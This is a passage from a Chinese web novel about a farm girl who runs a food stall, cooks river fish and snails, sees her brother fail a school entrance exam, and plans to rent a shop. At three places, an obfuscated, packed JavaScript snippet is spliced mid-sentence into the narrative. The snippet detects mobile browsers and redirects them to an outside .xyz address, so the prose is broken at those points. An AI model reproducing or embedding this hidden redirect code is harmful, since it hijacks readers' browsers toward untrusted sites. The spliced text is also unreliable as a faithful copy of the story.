“两百文，再少就没有了，这可是海外带回来的。”这辣椒其实是在船上捡来的，不知是哪个贵人带的，捡到的时候用个漂亮的瓷盆装着，只可惜摔碎了。 卢晓晓又磨了磨，最后花了一百五十文买到了这盆辣椒。 等卢晓晓捧着一盆辣椒，拿着两兜子的东西回到摊子上，正遇上元三郎过来。 “小哥，刚才巡摊子的时候让留的鸡蛋灌饼可留了？”元三郎问道。 “留了留了，这便给您做，这新出锅的鸡蛋灌饼最好吃。”这元三郎是摊子的常客，又帮卢三郎寻到了去宋氏学堂读书的门路，卢二郎热情极了。 更何况县官不如现管，元三郎管着这条街上的治安，再怎么热情也不为过，卢晓晓亲自给元三郎做了个鸡蛋灌饼。 “后日便是考试的日子了，令弟可准备好了？听说，这次有上百人递了帖子，除了镇上的学生，县上的、邻镇的人也不少，入学考试恐怕难得很。”元三郎把新知道的消息告诉卢家兄妹。 “这些日子，从学堂回来后也在温书，家弟不曾得名师指点，学的多是基础的内容，只能是尽人事听天命了。”卢晓晓说道。 本以为趁着宋氏学堂名气大显前，有机会能进去，现在怕也是很难了。 22. 考试 回到家，卢晓晓将辣椒树小心地移栽到后院的菜地中，然后将买来的虾皮和紫菜泡在水中，将泥沙和杂质清洗干净，再摊到簸箕上晾晒。 卢二郎见了，道，“晓晓，这小虾，一点肉都没有，还不如河里捞的，要来有什么用？” “主要是吃个鲜味，二哥，这会儿河里的鱼虾肥，大哥今日回来，我们去捞些回来吧？”卢晓晓说道。 杜家村的小河水浅，大鱼不多，小鱼小虾倒是不少。 “那我们快去，一会还得下地干活。”卢二郎知道卢晓晓又要做好吃的，高兴极了。 “娘，我们去河边捞些鱼虾！”两人将背篓、网兜一拿，掰了一小块面饼，就出门了。 “你俩小心些，如今天气渐凉了，别弄湿了鞋袜！”卢二娘子叮嘱道。 这几日卢爷爷已是大好，能行动自如了，秀珠嫂肚里的胎儿也保住了，不用再卧床静养了，卢大贵家也不用日日过去了。 到了河边，好些半大的孩子在捞鱼虾、摸田螺。 兄妹俩找了处水流缓慢，水草丰富的水洼，将网兜展开，用树枝做了个简单的架子，将网兜撑起，开口朝向水流方向，再将面饼掰碎轻轻地放入网兜中。 弄好这一切，卢二郎就去地里干活了，卢晓晓则在此处守着，避免小孩将布置好的陷阱破坏了。 卢晓晓在岸边转了转，摘了些紫苏，又找了处水浅处，除了鞋袜，把裤脚衣袖挽起，下水摸田螺。 清棱棱的河水，阳光照在水面上，泛起微微的波光，田螺趴在石头上一张一翕地吞吐着，还不知厄运的到来。 田螺肉少，腥气重，吃的人不多，河里的田螺又多又大，不知不觉中，卢晓晓便摸了小半篓。 “晓晓，你捡这干嘛？这不好吃，腥气可重了。”卢二郎见时间差不多，就回来了。 “回去用清水养养就好了，田螺炒着吃可香了。”卢晓晓从河里出来。 两人一块将网兜收起，只见网兜里有十余条大小不一的小鱼，大的几条有巴掌大，小的约摸两寸长，还有好些河虾。 等两人把捕到的鱼虾拿回家中，卢晓晓便要开始做晚食了，把田螺养在清水中，将鱼虾洗净备用。 网到的鱼大小不一，品种各异，卢晓晓准备做道杂鱼烩，又叫杂鱼一锅鲜。 热锅下油，待油温升起，将小鱼一条条平铺到锅底，轻轻晃动锅身，避免鱼肉粘锅，等到小鱼煎到一面金黄，就均匀地撒上盐，翻面，加入蒜末、姜末、茱萸、少许麻椒，然后加入开水，盖上锅盖熬煮。 约摸一刻钟，揭开锅盖，鱼汤已熬至奶白色，加入洗净切碎的紫苏叶，再盖上锅盖焖煮片刻，便能起锅了。如此做出来的鱼汤口味丰富，最是鲜美。 河虾则加入韭菜，放入锅中爆炒，吃起来皮脆肉嫩，满口留香。 卢晓晓又炒了碗白菘，卢家父子便都到家了，收拾收拾开始吃晚食。 杂鱼一锅鲜用的都是不起眼的小鱼，吃起来鱼肉鲜甜，汤汁浓郁，紫苏独特的香气让鱼汤的鲜味层次更丰富，喝了一碗还想一碗。 爆炒河虾鲜香入味，脆嫩可口，最是下饭，再吃上一口脆嫩的炒白菘，让人满足极了。 “这鱼做得真不错，比买的大鱼都好吃。”卢二郎感叹道。 “这不同的食材只要找到了对的做法，都能做出美味的菜来。”卢晓晓说道。 接着说起宋氏学堂的事情来。 “怀义，后日便要考试了，感觉怎么样？” “这几日把先前童生考试的内容巩固了一遍，又把夫子布置的功课好好做了，可有许多不明白的地方，夫子也答不上来。”卢怀义道。 “有问题很正常，说明你已经会发现问题了，等你的学识越来越多，你便能自己解决问题了，我想这读书跟做菜一样，方法对了才能做出美味。”卢晓晓说道。 又说，“听镇上的元三爷说，此次有好些县里和邻镇的读书人来参加宋氏学堂的考试，往日你在村学堂里成绩遥遥领先，这次考试也能见识见识其他人的水平。” “我一定会努力的，定然不让爹娘哥哥姐姐失望！”卢三郎许诺道。 “尽力就好了，也别有太大的压力，读书是条漫长的路，要保持平常心，不骄不躁，不卑不亢。”卢晓晓又说道。 古代女子嫁人早，加上卢晓晓自小聪慧，她给同是十二岁的弟弟讲道理，卢家人也没觉得有什么大不了的。 等吃过晚饭，收拾好灶房，一家人拴好院门，围坐在堂屋里，只等卢大郎和卢二郎搬钱箱子过来。 今日是个重要的日子，卢家兄妹出摊已经一个月了！ 按照先前说的，赚到的钱交一贯钱到公中，剩下的卢晓晓拿六成，卢二郎拿两成，卢二娘子占一成，卢大贵和卢大郎各占半成。 卢家摊子做的是小生意，收到的多是铜钱，卢二娘子便腾出了一口箱子给卢晓晓装钱。 等卢家兄弟把钱箱子搬过来，打开一看只见箱子里整整齐齐码着一吊一吊的铜钱，卢大贵看了震惊极了。 等卢晓晓又回屋摸出一个钱袋，里面装着几颗银锞子，卢大贵已经见怪不怪了。 钱箱子的铜钱码得整齐，不一会就数出来了，除去要给卢春芬的工钱，一共是十一贯又五百三十二文，再加上二两半的银锞子，这一个月便挣了足足十四贯钱。 拿出一贯钱给公中，又留出贯余钱作为备用，剩下的十二贯钱便是分红。 卢晓晓得了七贯又二百文，卢二郎得了两贯四百文，卢二娘子分了一贯二百文，卢大郎和卢大贵各得了六百文。 卢大贵没想到，他只多做了些家里的农活，一个月便得到了大半贯钱，比外出打短工轻松多了。 铜钱占地又沉重，卢晓晓只打算留一些钱平日用，其余的都换成银锞子，卢二郎也是这样想的，两人便托了卢大贵去换银子。 到了卢三郎考试这日，卢大贵便将铜钱包好放到筐子里，上头盖上些菜，与卢三郎一起，坐了里正家的骡子车到了镇上。 两人先是到卢记摊子叫上卢晓晓，再一起到了同心街的宋氏学堂。 今日的宋氏学堂不同于往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811425|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日，学堂门口停了好些马车，宋家安排了好些家丁过来维持秩序。 卢家三人上前，家丁只让考试的学生进入，其余人员都需在外等候。卢晓晓又向家丁打探考多久能出来，家丁只说不知。 “放轻松，好好应答，尽力就好了，我跟爹在外头等着你。”卢晓晓对弟弟嘱咐道，只觉自己是陪同高考的家长。 待卢三郎进去，两人径直去了钱庄，将背篓里的铜钱换成了银锞子，又回到学堂前等待。 卢晓晓留心听了听在外等候人员的对话，好些来考试的读书人，都是考过童生之后，在学堂里读了好些年，只希望来宋氏学堂拔拔高，早日考取秀才之名的。 学堂里，来考试的学生分成了两拨，分别由两位夫子考四书五经背诵，词句出处、释义，到了最后，从百余人中取了三十人，下午继续考校。 等卢记摊子收了摊，卢春芬寻了过来，学生才陆续从学堂里出来，卢三郎见着三人，面露喜色地大步走了过来，道，“爹，姐，秀芬姐，我过了，我过了初试！” “三郎，好样的，爹就知道你能行！”卢大贵高兴道。 “三郎太厉害了，复试是在什么时候？”卢晓晓问道。 “复试下午开始，未时回到学堂。”卢三郎回道。 “时间这样紧张，不若我们就近找间吃食铺子吃些东西，怀义也好歇一歇。”卢晓晓道。 “我就不去了，铺子里的吃食贵，我去守着摊子的东西。”卢春芬道。 “春芬姐，一块去吧，昨日分了钱，我请大家去薛记馒头铺吃肉馒头。你们先过去，我去叫上二哥。”卢晓晓说完，不给卢春芬拒绝的机会，就去找卢二郎了。 薛记馒头铺是镇上的老字号，馒头皮薄馅大，面皮暄软，用料扎实，肉馒头五文钱一个，菜馒头两文钱一个。 卢家几人去得早，人还不算多，找了一张桌子，点了十个肉馒头，五个菜馒头，又各点了一碗稀粥，花了七十文钱，卢大贵只觉得肉疼。 “怀义，上午考得怎么样？问题可难？”卢二郎迫不及待的问道。 “考的背诵和词句出处释义，背诵答得不错，词句释义有些难，有两句没有把握。”卢三郎回忆道。 “考过了便好，下午好好考。”卢晓晓说道。 说话间馒头端了上来，店里的客人也多了起来，不一会儿便坐满了。馒头约摸拳头大小，吃一口只觉得口味醇香，鲜而不腻，不愧是老字号。 几人把馒头吃完，未觉得饱，这薛记馒头胜在味好，可面皮暄软，只吃三两个是不够的，可几人也舍不得再让卢晓晓花钱了。 在铺子里歇了歇脚，见时间差不多，卢晓晓又买了四个肉馒头让卢二郎和卢春芬带回去，她则和卢大贵一起把卢三郎送到学堂，继续在学堂外等着。 下午考试的人少了许多，父女俩直等到未时，才见有人出来，出来的人中有人欢喜有人愁。 等好不容易见到卢怀义的身影，只见他面色平静，看不出悲喜，两人着急地迎了过去，问道，“怀义，考得如何？” 23. 爆炒田螺 “没考过。”卢三郎低声说道，说完就大步往前走了。 “没考过？怎么就没考过？”卢大贵不能相信地呐呐道。 “没事，没考过就没考过，咱家挣的钱够你交束脩的了。”见卢三郎心情低落，又追着安慰道。 等走到一个无人的巷子，卢三郎平静的表情再也绷不住了，哇的一声哭了出来，边哭边说道，“下午考群试，我反应太慢了，好多题都没说上话，这些题我会的。” 卢晓晓见了，不免觉得好笑，这孩子往日像个小大人，遇到伤心事了还是孩子气，问道，“往日里你在学堂可有像考试这样的练习？” “没有的，夫子只叫我们挨个说出自己的理解，不曾需要这样互辩。”卢三郎说道。 “那你觉得这样的读书方式可好？夫子为什么用这样的方式考校？”卢晓晓又问道。 卢三郎止住了哭，想了想道，“通过辩之后，观点更明晰，论据更详实，这对写策论好。” 写策论时，往往容易陷入自己的观点中，越写越偏，可若养成了辩的思维，便会在论的过程中，不断从反面思考，从而通过详实的论据扎实自己的观点，策论的内容才更饱满。 “这就行了，既然知道了不足，日后找机会多练练就好了，技不如人，没什么好哭的。” 卢晓晓刚说完，卢三郎又忍不住掉起眼泪来。 “我就是难过我怎么这样笨，哥哥姐姐想做的事都做成了，可我连个入学试都过不了，把你们给我争取来的机会都浪费了。”卢三郎哽咽道。 “你才是童生就能过初试了，已经很不错了，读书哪是这样容易的事，越往后越难，这一点点事就哭鼻子，不害臊，我都好几年不哭了。”卢晓晓笑道。 “你姐说得对，不行咱就多练练，爹在外等着的时候听说好些考试的人都在好学堂里学过好几年了。”卢大贵深刻认识到了上个好学堂的重要性。 经过两人的一番的劝慰，卢三郎冷静下来了，想到刚才还如三岁小儿般大哭，只觉得脸上火辣辣的，丢人极了。 从小在成熟懂事的卢晓晓映衬下，卢三郎比村里的同龄人成熟不少，只是今日太在意得失了，才一时没控制住，冷静下来又恢复了小大人的模样。 “爹，姐姐，我想尽快到镇上读书，尽快赶上其他人，早日取得功名。”卢三郎道。 “行，回去我就去里正家，请他给引荐下，明日咱跟子柏一块去他那学堂问问。”卢大贵道。 “姐相信你，那我们回去吧！”卢晓晓道。 回去的路上经过书肆给卢大郎说了一声，又找掌柜要了份抄书的活计。 到了家，卢二娘子已经做好了晚食，听闻卢三郎没能考过，又是劝慰勉励了一番。 考试失败的悲伤在卢家没有持续多久，因为他们遇到了更悲伤的事情，卢二娘子做的晚食太难吃了！特别是吃了一个月卢晓晓做的饭后。 本着不能浪费的原则，大家勉强把卢二娘子做的饭菜吃完了。 吃过饭，给泡着的田螺换了清水。村里的河水清澈，田螺也无需久养，明日便能吃了。 卢晓晓在准备明日吃食的时候，张大娘来了，“惠娘，晓晓在家吗？” “张嫂子，快进来，晓晓在灶房准备吃食呢！寻她什么事？” “春花和她男人明日来家里，说是找到了份好工，要出趟远门，特地带春花和娃儿回来看看，我想叫晓晓给做点好吃的。”张大娘道。 “婶子，想要做什么菜？”卢晓晓闻声出来了。 “就上回喜宴上的酸菜鱼，我吃着很是不错，这做一份要多少钱？” “婶子，一条三斤重的鱼，连买鱼带做好，对外我收一百二十文，您给一百文就行了，要是您自个买鱼，就给四十文。您吃过也知道，我那酸菜鱼放了不少的调料，贵得很呐。” “你来买鱼，明日我把钱拿过来，这鱼刚出锅好吃对吧？未时可能做好？” “可以的，婶子您明日未时来拿吧，怕是得拿个锅来盛。” “行，锅明日给你送来，那婶子等着吃鱼了，多给婶子放些酸菜啊！” 第二日，卢大贵和卢三郎到了镇上的明微学堂，拿了一斤红烧肉，一斤熏鱼，又拿了酸枣糕两包。 孔夫子问了几个问题，又考了考卢三郎的学问，便收了束脩，让卢三郎跟着一同听课了。 卢大贵与里正家说好，往后卢三郎就跟着杜子柏一同上下学。 卢晓晓收摊回来，见时候还早，便决定先把田螺收拾了，养了两日的田螺，腥气淡了不少。 田螺放入锅中煮上半刻钟，捞起晾凉后，寻根竹签子，将田螺肉挑出来，去掉累肠，只剩螺肉。 挑好螺肉，将生姜、大葱捣出汁，倒入碗中，加上少许盐，把螺肉腌制上。卢晓晓又去河边摘了些紫苏叶子，只等晚上做爆炒田螺。 爆炒田螺连壳炒更具风味，轻轻一吸，鲜嫩多汁的田螺肉便与壳分离，再加上壳内的汤汁，分外的美味。可农家事忙，谁又有闲情一颗颗的吸田螺呢？ 见时间差不多，卢晓晓便先开始做酸菜鱼，酸菜切得细细的，鱼骨汤熬得白白的，鱼肉片得薄薄的，鱼汤里一烫，微微打卷，酸菜鱼就做好了，只等张大娘来取。 锅中盛油，略微烧热，放入姜片、蒜片、茱萸、紫苏爆香，倒入田螺肉，大火翻炒，随即加入芹菜粒，快速翻炒，起锅时再加上一小勺明油。 堂屋里，张大娘来了有一会了，正在跟卢二娘子说女婿找了多好的一个差事，只要跟管事的跑上半个月，就能有五两银子，回来还能当上小管事，又得意她挑女婿的眼光好，她女儿好福气。 说话间，浓郁的香味扑鼻而来，张大娘闲话都不想说了，直催卢二娘子去灶房看看做了啥。 卢晓晓听说张大娘来了，端着一大锅的酸菜鱼出来了。 “晓晓，你刚做的是什么菜呀，香味这样大？”张大娘忍不住问道。 “婶子，是爆炒田螺，昨日下河摸了些田螺，炒了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811426|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗田螺肉。” “田螺这么腥气的东西都能做得这样香吗？可有多的？给张婶匀一些，不白吃，给你二十文钱。” “婶子，您等一会儿，我这就去盛碗出来。”有钱自然是要挣的。 张家大郎知道张大娘找卢家定了酸菜鱼，高兴坏了，直说姐姐姐夫有福气，杜春花不明所以。 等张大娘端了锅酸菜鱼回家，又端了碗炒田螺回家，那浓烈的鲜香直扑入鼻，又听说这些菜都是卢晓晓做的，春花夫妇俩惊诧极了。 尝了几口酸菜鱼，春花男人觉得卢晓晓的手艺好极了，做的菜色香味俱全，合该在酒楼里当大厨，又细问起卢晓晓还会哪些菜，打算外出回来后，将她引荐给东家。 卢家这边，其乐融融地吃着炒田螺，庆祝卢三郎入读了明微学堂。 “三郎，新学堂如何？可能适应？”卢大贵问道。 “今日听了夫子两堂课，深入浅出，很受启发，感觉非常不错，夫子课上还夸了我基础好。”卢三郎高兴道。 “同窗可好相处？”卢二娘子又问道。 “同窗听说卢记肉夹馍的小娘子是我姐姐，待我可好了，子柏哥也很是照顾我，带我认识了好些朋友。” “你有今日的成绩也离不开杜夫子的教导，等休旬假的时候，我做两道菜，你给他送去，好好地谢谢他。”卢晓晓说道，感恩是卢三郎必须学会的。 “谢谢姐，我今日从镇上回来，去村学堂给杜夫子说了，正在想该如何感谢他往日的教导呢！姐这做菜的材料钱，我自己出，前日领的抄书活，我抄了小半了。等我抄完就有钱了。” “三郎，你要是钱不够，二哥借你，抄书的事也别太急了。”抄书多累呀，卢二郎想到。 “谢谢二哥，我晓得的。”书山有路勤为径，勤奋是读书必须的。 次日一大早，卢三郎早早地到了里正家，等着杜子柏一块到镇上。到了镇上，又去了卢记摊子，一人要了肉夹馍，一人买了鸡蛋灌饼。 卢春芬干活越来越熟练了，卢晓晓决定将生意扩大，是开间铺子还是在码头加个摊子，卢晓晓还未想好。 无事的卢晓晓坐在摊子后，观察街道两边的摊子铺子。 “小娘子，你这买多了可给送上门？”一食客问道。 “可以的，您若是买够一百文钱，镇上的地方免费给您送到，要是不足一百文，还劳您多付两文的帮闲钱。”此时的外卖生意已经萌芽，街上有好些闲汉帮忙送货，只多聚集在酒楼名铺前，像卢记这样的小摊子是没有的。 “给我做十个肉夹馍，芹菜、生菜各要一半，再来十块熏鱼、两个味道的金玉糕各一份。一会送到清水巷东头第三间的何家吧，家里来客人了，不便久等。” “好咧，一会就给您送去。”卢晓晓收了定钱，也忙活起来。 等把东西弄好，就让卢二郎送了过去，这期间来了好些人买金玉糕。 不一会儿，卢二郎回来了，道，“晓晓，金玉糕火了！” 24. 孝心糕 “知味斋在卖金玉糕，好些人在排队，巳时开始卖的，我路过的时候已经有好几个口味卖光了！”卢二郎道。 “二哥，你看着摊子，我去知味斋看看。”原来买方子的元管事是知味斋的人。 城关镇上有两家有名的点心铺子，一家是知味斋，是镇子上的老店，另一家是五香坊，新开不久，但胜在糕点种类多。 刚走到街口，卢晓晓远远便瞧见了知味斋门口弯弯绕绕排起的长队，店里的小二不停地吆喝，“金玉糕，金玉糕，开胃健脾，养心安神，美容养颜，走过路过不要错过！新品大酬宾，买一送一！买一送一！” 卢晓晓想往前走走看，被人拉了一把，“小姑娘，好好排队，别往前挤了！” 卢晓晓见拉她的人是个帮闲的大姐，顺势跟在了队尾，问道，“大姐，这前头卖的是什么呀，怎么这样多人？” “你没听小二吆喝吗？卖的金玉糕。”大姐道。 “这金玉糕有什么稀奇的，怎么这么多人来买？”卢晓晓问道。 “这金玉糕可不是普通的糕点，这吃的是孝心，你知道这金玉糕怎么做出来的吗？是个大孝子，为了他娘重病时的一点念想，费尽心力做出了金玉糕，许是他的孝心感动了上天，吃了金玉糕后他娘的病竟好了，一直活到了九十多岁！” “啊，竟是有这样了不得的来由。”我可真是了不得啊，卢晓晓心想。 “何止啊，你又知道这知味斋怎么拿到金玉糕方子的吗？是掌柜的听说了这个故事，想让府上老太太吃好些，寻遍了整个江宁府，才找到了有这个方子的人家，老太太吃了后睡眠都好了不少！掌柜的就想让更多的人吃到这样好的糕点，才拿到铺子里卖的。” “那这该叫孝心糕呀，为啥叫金玉糕啊？”一排队的大爷问道。 “这名是做糕的大孝子取的，他娘说金啊玉啊都不如这糕好，就取了名作金玉糕。”大娘真是什么都知道。 “大娘，您这都是从哪听说的呀？”这可比她能编多了。 “那茶馆里的说书先生说的，今日新加的段子。我还听说这在县里都卖断货了，金玉糕有美容养颜的功效，大户人家的太太小姐都吃。今日知味斋开门没多久就排起长队了。” “我就说这排队买的东西肯定好！”卢晓晓身后的娘子说道。 合着不知道卖什么就来排队了，卢晓晓严重怀疑开门时的长队是知味斋请的托，就是利用了人们的从众心理。 这知味斋的掌柜真是好手段。 又聊了好一会，终于排到了卢晓晓几人，只见金玉糕色泽鲜亮诱人，看起来香滑柔韧。 店小二介绍说这金玉糕有好些口味，便宜点的有原味的、红枣味的、枸杞味的、南瓜味的，贵的有蜂蜜味的、红豆馅的，各式各样，琳琅满目。 便宜的一份五十文，贵的一份一百文。一份卢晓晓买了份原味的，买一送一，又挑了份红枣味的。 拿着两份金玉糕回了摊子，卢春芬和卢二郎正等着她回家。 回了家，把买回来的金玉糕拆开，这铺子卖的和自家做的就是不一样。金玉糕用油纸包着，外观齐整，色泽均匀，量小而精。口味也略胜两分，软糯细腻，香滑柔韧，酸甜可口，满满的果味。 从品控到营销，知味斋的这一通操作，让卢晓晓学习了不少。 “晓晓，如果我们也开铺子卖金玉糕就好了，这多好卖呀！”卢二郎惋惜道。 “我们没有宣传的渠道，也没有烘干的炉子，是卖不到这样好的。”卢晓晓客观的分析到。 从古至今，优势资源都是获得巨大收益的重要前提，这也就是为什么富人越富的原因。不过没有关系，他们还可以努力，积少成多，聚沙成塔，卢晓晓也能成为富一代。 “不过二哥你说得对，我们有间铺子就好了，不如我们租间铺子吧！”卢晓晓想了想道。 有铺子才能卖更多的东西，客户人群也才能更广。 “这门面的租金不便宜吧？还得花钱购置家伙事。不如我们再摆摆摊子，这摆摊也挣得挺多的。”卢二娘子迟疑道。 “娘，二伯家的兔子快养成了，以后兔肉源源不断的，只摆摊子是不够的，再有我先前做的绿豆粉丝，也是要在铺子里才好做来卖。也没这样快的，我跟二哥先寻摸看看有，反正看也不花钱。”这开铺子要寻铺子、装修布置，等开张营业不知道是多久了。 再说，开铺子等得，她卢晓晓的婚事等不得啊，自打她露了这一手厨艺，来打探她婚事的人不少，虽说大哥的婚事都还没有着落，可防不住女娃定亲早的习俗。 开铺子必须要提上日程了。 “娘，我们一个月就挣了十几贯钱，开铺子肯定更多，不会不挣钱的。”卢二郎道。 “你俩主意正，自己拿主意吧。”儿女有本事了，卢二娘子也高兴。 “娘，这两日赵嫂子拿过来的酸枣可有少？”卢晓晓问道。 “没少，还多了些，这几日山里的酸枣熟的多，今日送了两大筐过来。” “这金玉糕在知味斋卖得火，如今有买一送一的活动，不显咱家的便宜，等活动结束了，咱家的定是好卖得很，趁着这波热度，咱赶紧多卖些。”这也是卢晓晓当初要继续在摊子卖金玉糕的原因，等于是白赚了一波宣传。 “那我这几日多做些，这天越来越凉了，日头也越来越弱，晾晒时间也长了。” “娘，你也跟赵嫂子说说，我们的生意越来越好了，这几日尽量多拾些酸枣。”卢晓晓又说道。 往后酸枣怕也不好找了，销量打开了，这酸枣糕难的便是果源，这也是知味斋拿到方子后，要这许多日才开卖的原因，除了要策划推销方案，还要寻得大量稳定的果源。 卢晓晓没料错，元家大爷拿到方子后，一方面使人在青阳县附近的山里寻找大片的酸枣林，另一方面在各村悄悄的收购酸枣。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13814333|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这元家大爷也是仗义人，知道卢晓晓还在卖酸枣糕，就特地没在杜家村收酸枣。可杜家村的人迟早会知道这捡酸枣的活计，毕竟谁家没有个外村的亲戚呢。 说完话，卢晓晓到院子里看了看晾晒的紫菜和虾皮，已晒得透干。 只见紫菜片大叶薄色泽透亮，散发出紫菜的芬芳，虾皮鲜香明亮个头大，虾身完整呈金钩状，卢晓晓取了些紫菜和虾皮，打算晚上做紫菜虾皮蛋花汤，其余的则收了起来。 今日吃饼，卢晓晓算着晚食的时间把饼烙好，只等卢三郎回来后做汤。 紫菜虾皮蛋黄汤易做，只需把紫菜撕碎与虾皮放入碗中，黄瓜切片，鸡蛋另磕入碗中拌匀，锅置火上，烧热油，加入葱花炝香，放水烧开，淋入鸡蛋液。待蛋花浮起时，放入黄瓜，加少量盐和油，然后将热气腾腾的鸡蛋汤倒入紫菜虾皮碗中。 卢三郎今日晚回来了少许，到家的时候，卢大贵和卢二郎都从地里回来了。 一进院门，便兴奋地道，“爹、娘、二哥，姐姐呢？咱家金玉糕火了。” “知道啦，今日上午知味斋就排了老长的队，晓晓还去买了两份回来呢！”卢二郎道。 “快去洗洗，准备吃晚食了。”卢二娘子对卢三郎带回来的消息一点都不惊讶。 “不是知味斋的金玉糕，是咱家的金玉糕，咱家的孝子糕火了！”卢三郎激动地解释道。 “怎么火了？”卢晓晓闻声从里屋出来。 卢三郎读书的明微学堂是留了时间给学生加餐的，毕竟半大小子吃穷老子，学堂里的学生正是长身体的时候。 到了中午，杜子柏便会和几个相熟的同窗到学堂外吃东西，有时是吃食铺子，有时是茶楼，几人中自然不包括卢三郎，今天的事是杜子柏回来后跟卢三郎说的。 今日几人就去的茶楼，正巧说书先生在说孝心糕的故事，说到知味斋大掌柜千辛万苦找到了有金玉糕方子的人家。 这家人在逃难的路上帮了大孝子，得到了金玉糕的方子作为感谢，听说掌柜想要让更多的人吃到这样好的点心，就给出了方子。 这家人是至善之人呀！说书先生如是说。 杜子柏几人自婚宴后，便是卢家摊子的常客，哪能没吃过金玉糕，等茶楼的小二把说书先生说的金玉糕一端上来，便确定这跟卢家小娘子做的，同出于一个方子！ 其中一个比较咋呼的同窗就忍不住地低呼道，“这不就是卢记摊子上的金玉糕！” 茶楼里座无虚席，这一声呼，被好些人听到了，纷纷议论起来，这段子里的至善人家竟就在城关镇上，有那善交之人，问起了卢记摊子在何处。 杜子柏几人细细说了一番，又介绍了摊子上的好些特色吃食。 杜子柏没忘记卢晓晓请他帮忙宣传摊子的请求，回到学堂跟卢三郎说了一番，让他回家多做准备。 卢晓晓惊呆了，这泼天的富贵竟就这样到了自家头上！ 25. 铺子 “咱家若是有铺子，生意定会爆满，比薛记馒头铺都强，听说今日茶楼里的人多的坐都坐不下。”卢二郎道。 去茶楼的人未必愿意去摊子上买东西，但如果是间吃食铺子，听了这样的故事，不说百分百，也得有百分之七八十的客人愿意去店里尝尝，再凭着卢晓晓的手艺，这百分之七八十的客人就能变成稳定的客源。 流量来得竟这样快。 “二哥，我们明日就去找铺子。”卢晓晓道。 “什么铺子？”卢大贵刚从地里回来，还不知道母子三人说的话。 “先吃晚食，边吃边说。”卢二娘子道。农家事忙，一家人聚到一块的时间少，没有什么食不言寝不语的规矩。 卢晓晓去灶房做了紫菜虾皮蛋花汤，又把做好的饼和菜端了出来。 这期间，卢二娘子已经把中午的对话跟卢大贵说了。 等卢晓晓坐下，卢大贵问道，“你们可是想好了？这开铺子的花销可不少，短则一年，长则三年的租金，打炉子、置办桌椅板凳的费用，桩桩件件都少不了。” “爹，我们原先想着先去看看，了解了解再决定的。现如今知味斋的金玉糕眼见要带火咱家生意，此时若不开铺子，我们便再难有这样的好机会了。”卢晓晓道。 虽说酒香不怕巷子深，可这香气传出来不也得要时间吗？如今人已经帮着把香气扬出来了，哪找这样的好时机呀！ 卢大贵琢磨着开铺子的事，随手端起汤喝了一口，满口的鲜香打断了他的思路，看了看碗里紫黑色的菜和絮状的鸡蛋花，又喝了一口，鲜、滑、爽！ 开铺子，必须开铺子，女儿这样好的手艺不能浪费了！ “这是用什么做的汤，这样鲜？”卢大贵问道。 “是紫菜和虾皮，我前几日在码头买的，见这便宜，卖货的大叔也说这个吃着鲜，就买了些回来尝尝。”卢晓晓道。 “我寻思着这紫菜和虾皮这样鲜，打算这两日试着捣成粉末，加到菜里，看能不能提升菜的鲜味。”卢晓晓又道。 “这主意好，要是成了，咱家开铺子就有秘方了。”卢二娘子赞成道。 “晓晓，明日爹跟你一道去看铺子。”看铺子这样的大事，自然是不能叫两个小娃儿去的。 “爹，我也要去。”卢二郎道。 “都去，明日我迟些到镇上，等你们收了摊子一道去。” 到了第二日，摊子的生意果然大火，还有好些客人一边排队一边夸卢家姐弟三人长得清正，不愧是至善人家养出的孩子，说得卢春芬都不好意思了。 等东西卖完，又等了一会儿，才见着卢大贵的身影。 春芬留在原地看摊子，卢大贵与兄妹俩去了牙行。 宋朝不限制土地买卖，田宅交易的不动产契税是财政税收的重要来源。为了避免人们私下买卖田宅，偷税漏税，朝廷采用“官办私营”的办法，所有的交易都须经过有牌照的“官牙”操办，牙人从中收取交易金额百分之三到百分之五的佣金。 古代商人地位低，可牙人不一样，是政府授牌的官职。这能做牙人的，都是有家底或有人脉关系的人。 三人到了牙行，只见店里熙熙攘攘，人来人往，有心想找个牙人问问，却捉不着人。踟蹰间，听见一嫩声问道，“三位客官可是要做买卖？” 卢晓晓回头一看，是个年轻的小哥，“想租个铺子，小哥可是能帮忙介绍个牙人？” “我便是牙人。”说着把自己刚刚到手的牙人官牌拿了出来。 “石头，招呼客人呢！几位客官别看我们石头年纪小，自小就在这牙行中，懂得可多了。”一领着客人的牙人路过说道。 “小牙郎，我们想在镇子上租个铺面做吃食生意，想问问这租金多少。”卢晓晓故意没多问，就是想试试这小哥的本事。 